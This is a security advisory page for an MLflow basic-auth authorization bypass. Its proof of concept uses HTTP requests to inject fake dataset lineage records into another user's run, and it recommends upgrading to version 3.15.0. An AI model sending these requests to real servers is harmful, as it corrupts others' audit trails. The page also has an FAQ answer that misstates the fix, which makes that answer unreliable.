GHSA-3p64-6gvh-82v5: Medium severity npm/mlflow vulnerability

Published Aug 17, 2026
·
Updated

Summary

When MLflow is deployed with the built-in basic-auth plugin (--app-name basic-auth), any authenticated user can inject arbitrary dataset records into another user's run by calling POST /api/2.0/mlflow/runs/log-inputs. The LogInputs proto handler is absent from the BEFOREREQUESTHANDLERS map in mlflow/server/auth/init.py, so the before-request hook skips authorization entirely and the request succeeds. Standard write endpoints on the same run -- such as POST /api/2.0/mlflow/runs/log-metric -- correctly return HTTP 403.

Details

MLflow's basic-auth app gates every HTTP handler through a before-request hook (beforerequest) that looks up the relevant permission validator in BEFOREREQUESTVALIDATORS. Validators are built from the BEFOREREQUESTHANDLERS dictionary, which maps each protobuf request class to a callable. When a class is absent from the dict (or mapped to None), getbeforerequesthandler returns None, and the resulting entry in BEFOREREQUESTVALIDATORS is (path, method): None.

Inside beforerequest:

python mlflow/server/auth/init.py beforerequest() if validator := findvalidator(request): # None is falsy -- branch skipped if not validator(): return makeforbiddenresponse() elif isproxyartifactpath(request.path): # not a proxy path ... falls through: any authenticated request is allowed

The LogInputs protobuf class is not present in BEFOREREQUESTHANDLERS:

python mlflow/server/auth/init.py BEFOREREQUESTHANDLERS dict LogInputs is absent; all run-write operations below ARE present: LogBatch: validatecanupdaterun, LogMetric: validatecanupdaterun, SetTag: validatecanupdaterun, LogParam: validatecanupdaterun, LogInputs: <missing>

The route /api/2.0/mlflow/runs/log-inputs (and the identical /ajax-api/ variant) therefore admits any valid credential, regardless of which experiment or run is targeted. The LogInputs handler writes DatasetInput records directly to the run's lineage table without any ownership check.

PoC

Prerequisites: MLflow v3.13.0 running with --app-name basic-auth. Two accounts: alice (creates experiment 2 and run A) and bob (creates experiment 4 and run B).

1. Confirm the authorized endpoint correctly denies alice's write to bob's run:

POST /api/2.0/mlflow/runs/log-metric HTTP/1.1 Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM= (alice:alicepassword123) Content-Type: application/json

{"runid": "<bobrunid>", "key": "test", "value": 1.0, "timestamp": 0, "step": 0}

Response: HTTP 403 Permission denied

2. Inject a dataset record into bob's run as alice:

POST /api/2.0/mlflow/runs/log-inputs HTTP/1.1 Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM= (alice:alicepassword123) Content-Type: application/json

{"runid": "<bobrunid>", "datasets": [{"dataset": {"name": "ATTACKERinjected", "digest": "evil123", "profile": "attackercontrolled"}}]}

Response: HTTP 200 {}

3. Confirm injection persisted:

GET /api/2.0/mlflow/runs/get?runid=<bobrunid> HTTP/1.1 Authorization: Basic Ym9iOmJvYl9wYXNzd29yZF9uZXcxMjM= (bob:bobpasswordnew123)

Response: HTTP 200 -- datasetinputs array contains {"name":"ATTACKERinjected","digest":"evil123","profile":"attackercontrolled"}.

Impact

Any authenticated MLflow user can corrupt the dataset lineage metadata of any other user's run. In ML compliance workflows, dataset provenance records are audit evidence for model reproducibility and regulatory review. Injecting fake or misleading dataset entries into a competitor's runs can silently invalidate audit trails, cause misattribution of model training data, or introduce confusion about which datasets were used to train a model. The attacker needs only a valid credential; no elevated permissions are required.

Affected Software

1 affected componentFixes available
npm/mlflow<3.15.0
3.15.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/mlflow to a version that resolves this vulnerability.

    Fixed in 3.15.0

Event History

Aug 17, 2026
Advisory Published
via GitHub·09:59 PM
Data Sourced
via GitHub·09:59 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of GHSA-3p64-6gvh-82v5?

The severity of GHSA-3p64-6gvh-82v5 is medium with a score of 6.5.

2

How do I fix GHSA-3p64-6gvh-82v5?

To fix GHSA-3p64-6gvh-82v5, ensure that you do not deploy MLflow with the built-in basic-auth plugin.

3

What is the risk of GHSA-3p64-6gvh-82v5?

GHSA-3p64-6gvh-82v5 poses a risk where authenticated users can inject arbitrary dataset records into another user's run.

4

What software is affected by GHSA-3p64-6gvh-82v5?

GHSA-3p64-6gvh-82v5 affects the npm package for MLflow.

5

When was GHSA-3p64-6gvh-82v5 published?

GHSA-3p64-6gvh-82v5 was published on August 17, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203